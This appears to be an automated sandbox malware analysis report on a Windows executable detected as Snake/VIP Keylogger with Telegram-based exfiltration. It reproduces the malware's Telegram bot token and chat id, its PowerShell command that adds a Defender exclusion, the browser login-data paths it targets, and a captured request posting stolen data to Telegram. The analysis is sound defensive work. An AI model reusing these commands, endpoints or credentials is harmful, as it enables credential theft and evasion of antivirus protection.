Edit tour

Windows Analysis Report
299371485_14108825808_1736351479899.exe

Overview

General Information

Sample name:	299371485_14108825808_1736351479899.exe
Analysis ID:	1596649
MD5:	a707e0ef919ba6b9d670ffdd32f1d4a4
SHA1:	babe62daf8b14c67a1a31b75f282a05b5189fe61
SHA256:	f0e65a838c01e4741493c605aab2232854d22a14d913374a2c61f083b35d7aa7
Tags:	exeuser-lowmal3
Infos:

Detection

ReverseShell, Snake Keylogger, VIP Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected ReverseShell

Yara detected Snake Keylogger

Yara detected Telegram RAT

Yara detected VIP Keylogger

.NET source code contains potential unpacker

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Loading BitLocker PowerShell Module

Machine Learning detection for sample

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Yara detected Generic Downloader

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

299371485_14108825808_1736351479899.exe (PID: 4876 cmdline: "C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe" MD5: A707E0EF919BA6B9D670FFDD32F1D4A4)

powershell.exe (PID: 2616 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 6208 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 1548 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

299371485_14108825808_1736351479899.exe (PID: 6240 cmdline: "C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe" MD5: A707E0EF919BA6B9D670FFDD32F1D4A4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-usering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: VIP Keylogger

{"Exfil Mode": "Telegram", "Bot Token": "7611127374:AAGXC2jAyl-P1rRPCEhU4dJbqLtPBhqL70U", "Chat id": "-4732682041"}

Threatname: Snake Keylogger

{"Exfil Mode": "Telegram", "Token": "7611127374:AAGXC2jAyl-P1rRPCEhU4dJbqLtPBhqL70U", "Chat_id": "-4732682041", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000006.00000002.4622133854.0000000003071000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000006.00000002.4617089897.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_ReverseShell	Yara detected ReverseShell	Joe Security
00000006.00000002.4617089897.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.4617089897.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000006.00000002.4617089897.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000006.00000002.4617089897.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d03b:$a1: get_encryptedPassword 0x2d350:$a2: get_encryptedUsername 0x2ce4b:$a3: get_timePasswordChanged 0x2cf54:$a4: get_passwordField 0x2d051:$a5: set_encryptedPassword 0x2e6f7:$a7: get_logins 0x2e65a:$a10: KeyLoggerEventArgs 0x2e2bf:$a11: KeyLoggerEventArgsEventHandler
00000006.00000002.4622133854.0000000003127000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000000.00000002.2219355172.000000000433C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_ReverseShell	Yara detected ReverseShell	Joe Security
00000000.00000002.2219355172.000000000433C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2219355172.000000000433C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000000.00000002.2219355172.000000000433C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.2219355172.000000000433C000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d45b:$a1: get_encryptedPassword 0x6fe7b:$a1: get_encryptedPassword 0xb269b:$a1: get_encryptedPassword 0x2d770:$a2: get_encryptedUsername 0x70190:$a2: get_encryptedUsername 0xb29b0:$a2: get_encryptedUsername 0x2d26b:$a3: get_timePasswordChanged 0x6fc8b:$a3: get_timePasswordChanged 0xb24ab:$a3: get_timePasswordChanged 0x2d374:$a4: get_passwordField 0x6fd94:$a4: get_passwordField 0xb25b4:$a4: get_passwordField 0x2d471:$a5: set_encryptedPassword 0x6fe91:$a5: set_encryptedPassword 0xb26b1:$a5: set_encryptedPassword 0x2eb17:$a7: get_logins 0x71537:$a7: get_logins 0xb3d57:$a7: get_logins 0x2ea7a:$a10: KeyLoggerEventArgs 0x7149a:$a10: KeyLoggerEventArgs 0xb3cba:$a10: KeyLoggerEventArgs
Process Memory Space: 299371485_14108825808_1736351479899.exe PID: 4876	JoeSecurity_ReverseShell	Yara detected ReverseShell	Joe Security
Process Memory Space: 299371485_14108825808_1736351479899.exe PID: 4876	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 299371485_14108825808_1736351479899.exe PID: 4876	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: 299371485_14108825808_1736351479899.exe PID: 4876	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: 299371485_14108825808_1736351479899.exe PID: 4876	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: 299371485_14108825808_1736351479899.exe PID: 4876	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x719b0:$a1: get_encryptedPassword 0x71cbb:$a2: get_encryptedUsername 0x717ca:$a3: get_timePasswordChanged 0x718d3:$a4: get_passwordField 0x719c6:$a5: set_encryptedPassword 0x73e60:$a7: get_logins 0x73dc3:$a10: KeyLoggerEventArgs 0x73a2c:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: 299371485_14108825808_1736351479899.exe PID: 6240	JoeSecurity_ReverseShell	Yara detected ReverseShell	Joe Security
Process Memory Space: 299371485_14108825808_1736351479899.exe PID: 6240	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 299371485_14108825808_1736351479899.exe PID: 6240	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: 299371485_14108825808_1736351479899.exe PID: 6240	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: 299371485_14108825808_1736351479899.exe PID: 6240	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x30ec2:$a1: get_encryptedPassword 0x311cd:$a2: get_encryptedUsername 0x30cdc:$a3: get_timePasswordChanged 0x30de5:$a4: get_passwordField 0x30ed8:$a5: set_encryptedPassword 0x33372:$a7: get_logins 0x332d5:$a10: KeyLoggerEventArgs 0x32f3e:$a11: KeyLoggerEventArgsEventHandler
Click to see the 18 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.299371485_14108825808_1736351479899.exe.437ec40.4.unpack	JoeSecurity_ReverseShell	Yara detected ReverseShell	Joe Security
0.2.299371485_14108825808_1736351479899.exe.437ec40.4.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.299371485_14108825808_1736351479899.exe.437ec40.4.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.299371485_14108825808_1736351479899.exe.437ec40.4.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.299371485_14108825808_1736351479899.exe.437ec40.4.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2b43b:$a1: get_encryptedPassword 0x2b750:$a2: get_encryptedUsername 0x2b24b:$a3: get_timePasswordChanged 0x2b354:$a4: get_passwordField 0x2b451:$a5: set_encryptedPassword 0x2caf7:$a7: get_logins 0x2ca5a:$a10: KeyLoggerEventArgs 0x2c6bf:$a11: KeyLoggerEventArgsEventHandler
0.2.299371485_14108825808_1736351479899.exe.437ec40.4.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x39263:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x38906:$a3: \Google\Chrome\User Data\Default\Login Data 0x38b63:$a4: \Orbitum\User Data\Default\Login Data 0x39542:$a5: \Kometa\User Data\Default\Login Data
0.2.299371485_14108825808_1736351479899.exe.437ec40.4.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2c065:$s1: UnHook 0x2c06c:$s2: SetHook 0x2c074:$s3: CallNextHook 0x2c081:$s4: _hook
0.2.299371485_14108825808_1736351479899.exe.433c220.0.unpack	JoeSecurity_ReverseShell	Yara detected ReverseShell	Joe Security
0.2.299371485_14108825808_1736351479899.exe.433c220.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.299371485_14108825808_1736351479899.exe.433c220.0.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.299371485_14108825808_1736351479899.exe.433c220.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.299371485_14108825808_1736351479899.exe.433c220.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2b43b:$a1: get_encryptedPassword 0x2b750:$a2: get_encryptedUsername 0x2b24b:$a3: get_timePasswordChanged 0x2b354:$a4: get_passwordField 0x2b451:$a5: set_encryptedPassword 0x2caf7:$a7: get_logins 0x2ca5a:$a10: KeyLoggerEventArgs 0x2c6bf:$a11: KeyLoggerEventArgsEventHandler
0.2.299371485_14108825808_1736351479899.exe.433c220.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x39263:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x38906:$a3: \Google\Chrome\User Data\Default\Login Data 0x38b63:$a4: \Orbitum\User Data\Default\Login Data 0x39542:$a5: \Kometa\User Data\Default\Login Data
0.2.299371485_14108825808_1736351479899.exe.433c220.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2c065:$s1: UnHook 0x2c06c:$s2: SetHook 0x2c074:$s3: CallNextHook 0x2c081:$s4: _hook
6.2.299371485_14108825808_1736351479899.exe.400000.0.unpack	JoeSecurity_ReverseShell	Yara detected ReverseShell	Joe Security
6.2.299371485_14108825808_1736351479899.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
6.2.299371485_14108825808_1736351479899.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
6.2.299371485_14108825808_1736351479899.exe.400000.0.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
6.2.299371485_14108825808_1736351479899.exe.400000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
6.2.299371485_14108825808_1736351479899.exe.400000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d23b:$a1: get_encryptedPassword 0x2d550:$a2: get_encryptedUsername 0x2d04b:$a3: get_timePasswordChanged 0x2d154:$a4: get_passwordField 0x2d251:$a5: set_encryptedPassword 0x2e8f7:$a7: get_logins 0x2e85a:$a10: KeyLoggerEventArgs 0x2e4bf:$a11: KeyLoggerEventArgsEventHandler
6.2.299371485_14108825808_1736351479899.exe.400000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3b063:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3a706:$a3: \Google\Chrome\User Data\Default\Login Data 0x3a963:$a4: \Orbitum\User Data\Default\Login Data 0x3b342:$a5: \Kometa\User Data\Default\Login Data
6.2.299371485_14108825808_1736351479899.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2de65:$s1: UnHook 0x2de6c:$s2: SetHook 0x2de74:$s3: CallNextHook 0x2de81:$s4: _hook
0.2.299371485_14108825808_1736351479899.exe.433c220.0.raw.unpack	JoeSecurity_ReverseShell	Yara detected ReverseShell	Joe Security
0.2.299371485_14108825808_1736351479899.exe.433c220.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.299371485_14108825808_1736351479899.exe.433c220.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.299371485_14108825808_1736351479899.exe.433c220.0.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.299371485_14108825808_1736351479899.exe.433c220.0.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.299371485_14108825808_1736351479899.exe.433c220.0.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d23b:$a1: get_encryptedPassword 0x6fc5b:$a1: get_encryptedPassword 0xb247b:$a1: get_encryptedPassword 0x2d550:$a2: get_encryptedUsername 0x6ff70:$a2: get_encryptedUsername 0xb2790:$a2: get_encryptedUsername 0x2d04b:$a3: get_timePasswordChanged 0x6fa6b:$a3: get_timePasswordChanged 0xb228b:$a3: get_timePasswordChanged 0x2d154:$a4: get_passwordField 0x6fb74:$a4: get_passwordField 0xb2394:$a4: get_passwordField 0x2d251:$a5: set_encryptedPassword 0x6fc71:$a5: set_encryptedPassword 0xb2491:$a5: set_encryptedPassword 0x2e8f7:$a7: get_logins 0x71317:$a7: get_logins 0xb3b37:$a7: get_logins 0x2e85a:$a10: KeyLoggerEventArgs 0x7127a:$a10: KeyLoggerEventArgs 0xb3a9a:$a10: KeyLoggerEventArgs
0.2.299371485_14108825808_1736351479899.exe.433c220.0.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3b063:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x7da83:$a2: \Comodo\Dragon\User Data\Default\Login Data 0xc02a3:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3a706:$a3: \Google\Chrome\User Data\Default\Login Data 0x7d126:$a3: \Google\Chrome\User Data\Default\Login Data 0xbf946:$a3: \Google\Chrome\User Data\Default\Login Data 0x3a963:$a4: \Orbitum\User Data\Default\Login Data 0x7d383:$a4: \Orbitum\User Data\Default\Login Data 0xbfba3:$a4: \Orbitum\User Data\Default\Login Data 0x3b342:$a5: \Kometa\User Data\Default\Login Data 0x7dd62:$a5: \Kometa\User Data\Default\Login Data 0xc0582:$a5: \Kometa\User Data\Default\Login Data
0.2.299371485_14108825808_1736351479899.exe.433c220.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2de65:$s1: UnHook 0x70885:$s1: UnHook 0xb30a5:$s1: UnHook 0x2de6c:$s2: SetHook 0x7088c:$s2: SetHook 0xb30ac:$s2: SetHook 0x2de74:$s3: CallNextHook 0x70894:$s3: CallNextHook 0xb30b4:$s3: CallNextHook 0x2de81:$s4: _hook 0x708a1:$s4: _hook 0xb30c1:$s4: _hook
0.2.299371485_14108825808_1736351479899.exe.437ec40.4.raw.unpack	JoeSecurity_ReverseShell	Yara detected ReverseShell	Joe Security
0.2.299371485_14108825808_1736351479899.exe.437ec40.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.299371485_14108825808_1736351479899.exe.437ec40.4.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.299371485_14108825808_1736351479899.exe.437ec40.4.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.299371485_14108825808_1736351479899.exe.437ec40.4.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.299371485_14108825808_1736351479899.exe.437ec40.4.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d23b:$a1: get_encryptedPassword 0x6fa5b:$a1: get_encryptedPassword 0x2d550:$a2: get_encryptedUsername 0x6fd70:$a2: get_encryptedUsername 0x2d04b:$a3: get_timePasswordChanged 0x6f86b:$a3: get_timePasswordChanged 0x2d154:$a4: get_passwordField 0x6f974:$a4: get_passwordField 0x2d251:$a5: set_encryptedPassword 0x6fa71:$a5: set_encryptedPassword 0x2e8f7:$a7: get_logins 0x71117:$a7: get_logins 0x2e85a:$a10: KeyLoggerEventArgs 0x7107a:$a10: KeyLoggerEventArgs 0x2e4bf:$a11: KeyLoggerEventArgsEventHandler 0x70cdf:$a11: KeyLoggerEventArgsEventHandler
0.2.299371485_14108825808_1736351479899.exe.437ec40.4.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3b063:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x7d883:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3a706:$a3: \Google\Chrome\User Data\Default\Login Data 0x7cf26:$a3: \Google\Chrome\User Data\Default\Login Data 0x3a963:$a4: \Orbitum\User Data\Default\Login Data 0x7d183:$a4: \Orbitum\User Data\Default\Login Data 0x3b342:$a5: \Kometa\User Data\Default\Login Data 0x7db62:$a5: \Kometa\User Data\Default\Login Data
0.2.299371485_14108825808_1736351479899.exe.437ec40.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2de65:$s1: UnHook 0x70685:$s1: UnHook 0x2de6c:$s2: SetHook 0x7068c:$s2: SetHook 0x2de74:$s3: CallNextHook 0x70694:$s3: CallNextHook 0x2de81:$s4: _hook 0x706a1:$s4: _hook
Click to see the 33 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe", ParentImage: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe, ParentProcessId: 4876, ParentProcessName: 299371485_14108825808_1736351479899.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe", ProcessId: 2616, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe", ParentImage: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe, ParentProcessId: 4876, ParentProcessName: 299371485_14108825808_1736351479899.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe", ProcessId: 2616, ProcessName: powershell.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-22T09:48:10.635528+0100	2803305	3	Unknown Traffic	192.168.2.6	49716	104.21.16.1	443	TCP
2025-01-22T09:48:11.877293+0100	2803305	3	Unknown Traffic	192.168.2.6	49727	104.21.16.1	443	TCP
2025-01-22T09:48:15.657479+0100	2803305	3	Unknown Traffic	192.168.2.6	49756	104.21.16.1	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-22T09:48:08.655179+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49712	158.101.44.242	80	TCP
2025-01-22T09:48:10.030043+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49712	158.101.44.242	80	TCP
2025-01-22T09:48:11.311358+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49722	158.101.44.242	80	TCP

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-22T09:48:27.584593+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	49844	149.154.167.220	443	TCP

Joe Security ANOMALY Telegram Send Message

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-22T09:48:20.381908+0100	1810007	1	Potentially Bad Traffic	192.168.2.6	49789	149.154.167.220	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000006.00000002.4622133854.0000000003071000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "Telegram", "Token": "7611127374:AAGXC2jAyl-P1rRPCEhU4dJbqLtPBhqL70U", "Chat_id": "-4732682041", "Version": "4.4"}
Source: 0.2.299371485_14108825808_1736351479899.exe.433c220.0.unpack	Malware Configuration Extractor: VIP Keylogger {"Exfil Mode": "Telegram", "Bot Token": "7611127374:AAGXC2jAyl-P1rRPCEhU4dJbqLtPBhqL70U", "Chat id": "-4732682041"}

Multi AV Scanner detection for submitted file

Source: 299371485_14108825808_1736351479899.exe	Virustotal: Detection: 29%			Perma Link
Source: 299371485_14108825808_1736351479899.exe	ReversingLabs: Detection: 21%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: 299371485_14108825808_1736351479899.exe

Joe Sandbox ML: detected

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: 299371485_14108825808_1736351479899.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.6:49713 version: TLS 1.0

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:49789 version: TLS 1.2

Source: 299371485_14108825808_1736351479899.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: HQYI.pdbSHA256 source: 299371485_14108825808_1736351479899.exe
Source:	Binary string: HQYI.pdb source: 299371485_14108825808_1736351479899.exe

Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Code function: 4x nop then jmp 0D750941h	0_2_0D750D95
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Code function: 4x nop then jmp 0D750941h	0_2_0D750DBC
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Code function: 4x nop then jmp 0159FC31h	6_2_0159F979
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Code function: 4x nop then jmp 0159F475h	6_2_0159F2D8
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Code function: 4x nop then jmp 0159F475h	6_2_0159F4C4

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:49844 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.6:49789 -> 149.154.167.220:443

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: 6.2.299371485_14108825808_1736351479899.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.299371485_14108825808_1736351479899.exe.433c220.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.299371485_14108825808_1736351479899.exe.437ec40.4.raw.unpack, type: UNPACKEDPE

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:855271%0D%0ADate%20and%20Time:%2022/01/2025%20/%2015:53:21%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20855271%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7611127374:AAGXC2jAyl-P1rRPCEhU4dJbqLtPBhqL70U/sendDocument?chat_id=-4732682041&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd3b6796ff3d52Host: api.telegram.orgContent-Length: 584

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
